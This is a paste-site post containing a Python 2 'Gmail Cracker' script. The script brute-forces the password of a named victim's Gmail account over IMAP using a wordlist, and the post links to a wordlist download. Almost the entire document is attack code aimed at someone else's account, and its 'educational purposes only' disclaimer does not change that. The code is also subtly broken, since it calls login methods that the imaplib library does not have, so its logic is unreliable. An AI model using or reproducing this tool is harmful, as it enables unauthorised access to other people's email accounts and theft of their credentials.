Gmail cracker


SUBMITTED BY: Guest

DATE: July 2, 2014, 8:27 a.m.

FORMAT: Text only

SIZE: 4.0 kB

HITS: 999

  1. #!/usr/bin/python
  2. # -*- coding: utf-8 -*-
  3. # Gmail Cracker modded by ..:: crazyjunkie ::.. 2014
  4. # This program is only for educational purposes only.
  5. # If you need a Good Wordlist ====> http://uploaded.net/folder/j7gmyz
  6. import sys, imaplib, time
  7. from imaplib import IMAP4
  8. log = "GmailGhost.log"
  9. file = open(log, "a")
  10. counter = 0
  11. face = '''
  12. :::Gmail Cracker:::
  13. '''
  14. help = '''
  15. Usage : ./gmail.py -u [email] -w [wordlist]
  16. Example : ./gmail.py -u victim@gmail.Com -w wordlist.txt
  17. '''
  18. for arg in sys.argv:
  19. if arg.lower() == '-u' or arg.lower() == '--user':
  20. email = sys.argv[int(sys.argv.index(arg))+1]
  21. elif arg.lower() == '-w' or arg.lower() == '--wordlist':
  22. wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
  23. elif arg.lower() == '-h' or arg.lower() == '--help':
  24. print face
  25. print help
  26. file.write(face)
  27. file.write(help)
  28. #Change these if needed.
  29. HOST = 'imap.gmail.com'
  30. PORT = 993
  31. try:
  32. preventstrokes = open(wordlist, "r")
  33. words = preventstrokes.readlines()
  34. count = 0
  35. while count < len(words):
  36. words[count] = words[count].strip()
  37. count += 1
  38. except(IOError):
  39. print "\n[-] Error: Check your wordlist path\n"
  40. file.write("\n[-] Error: Check your wordlist path\n")
  41. sys.exit(1)
  42. def definer():
  43. print "-" * 60
  44. print "[+] Email : %s" % email
  45. print "[+] Wordlist : %s" % wordlist
  46. print "[+] Length wordlist : %s " % len(words)
  47. print "[+] Time Starting : %s" % time.strftime("%X")
  48. print "-" * 60
  49. file.write ("\n[+] Email : %s" % email)
  50. file.write ("\n[+] Wordlist : %s" % wordlist)
  51. file.write ("\n[+] length wordlist : %s " % len(words))
  52. file.write ("\n[+] Time Starting : %s" % time.strftime("%X"))
  53. def main(password):
  54. global counter
  55. sys.stdout.write ("[-] Trying : %s \n" % (password))
  56. sys.stdout.flush()
  57. file.write("[-] Trying : %s \n" % (str(password)))
  58. try:
  59. IMAP4 = imaplib.IMAP4_SSL(HOST, PORT)
  60. IMAP4.Email(email)
  61. IMAP4.Passwd(password)
  62. IMAP4.quit()
  63. print "[+] enjoy !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Found!" % (email, password)
  64. file.write("[+] enjoy !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Found!" % (email, password))
  65. sys.exit(1)
  66. except Exception, e:
  67. pass
  68. except KeyboardInterrupt:
  69. print "\n[-] Aborting...\n"
  70. file.write("\n[-] Aborting...\n")
  71. sys.exit(1)
  72. counter+=1
  73. if counter == len(words)/5:
  74. print "[+] Gmailcracker 20% way done..."
  75. print "[+] Please be patient..."
  76. file.write("[+] Gmailcracker on 1/4 way done...\n")
  77. file.write("[+] Please be patient...\n")
  78. elif counter == len(words)/4:
  79. print "[+] Gmailcracker 25% way done..."
  80. print "[+] Please be patient..."
  81. file.write("[+] Gmailcracker on 1/4 way done...\n")
  82. file.write("[+] Please be patient...\n")
  83. elif counter == len(words)/2:
  84. print "[+] Gmailcracker on 50% done..."
  85. print "[+] Please be patient..."
  86. file.write("[+] Gmailcracker on halfway done...\n")
  87. file.write("[+] Please be patient...\n")
  88. elif counter == len(words):
  89. print "[+] Gmailcracker done...\n"
  90. file.write("[+] Gmailcracker done...!\n")
  91. if __name__ == '__main__':
  92. print face
  93. file.write(face)
  94. definer()
  95. for password in words:
  96. main(password.replace("\n",""))
  97. main(password)

comments powered by Disqus